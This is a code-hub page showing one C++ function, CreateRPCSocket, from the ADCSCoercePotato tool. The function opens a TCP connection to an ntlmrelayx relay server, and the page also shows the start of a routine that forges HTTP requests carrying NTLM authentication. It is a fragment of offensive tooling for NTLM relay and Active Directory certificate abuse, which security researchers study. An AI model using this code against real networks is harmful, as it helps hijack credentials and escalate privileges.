MCPcopy Create free account
hub / github.com/decoder-it/ADCSCoercePotato / CreateRPCSocket

Function CreateRPCSocket

HTTPCrossProtocolRelay.cpp:75–125  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

73}
74
75SOCKET CreateRPCSocket(const wchar_t* remoteHTTPIp, const wchar_t* remoteHttpPort) {
76 //----------------------
77 // Initialize Winsock
78
79 char remoteHTTPIp_a[20];
80 char remotePort_a[12];
81 int remotePort;
82 WSADATA wsaData;
83 int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
84 if (iResult != NO_ERROR) {
85 wprintf(L"WSAStartup function failed with error: %d\n", iResult);
86 return 1;
87 }
88 //----------------------
89 // Create a SOCKET for connecting to server
90 SOCKET ConnectSocket;
91 ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
92 if (ConnectSocket == INVALID_SOCKET) {
93 wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
94 WSACleanup();
95 return 1;
96 }
97 //----------------------
98 // The sockaddr_in structure specifies the address family,
99 // IP address, and port of the server to be connected to.
100
101 memset(remotePort_a, 0, 12);
102 wcstombs(remotePort_a, remoteHttpPort, 12);
103 memset(remoteHTTPIp_a, 0, 20);
104 wcstombs(remoteHTTPIp_a, remoteHTTPIp, 20);
105 remotePort = atoi(remotePort_a);
106 sockaddr_in clientService;
107 clientService.sin_family = AF_INET;
108 clientService.sin_addr.s_addr = inet_addr(remoteHTTPIp_a);
109 clientService.sin_port = htons(remotePort);
110
111 //----------------------
112 // Connect to server.
113 iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
114 if (iResult == SOCKET_ERROR) {
115 wprintf(L"CreateHTTPSocket: connect function failed with error: %ld\n", WSAGetLastError());
116 iResult = closesocket(ConnectSocket);
117 if (iResult == SOCKET_ERROR)
118 wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
119 WSACleanup();
120 return 1;
121 }
122
123 printf("[*] Connected to ntlmrelayx HTTP Server %S on port %S\n", remoteHTTPIp, remoteHttpPort);
124 return ConnectSocket;
125}
126
127char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp) {
128 char httpPacketTemplate[] = "GET / HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n";

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected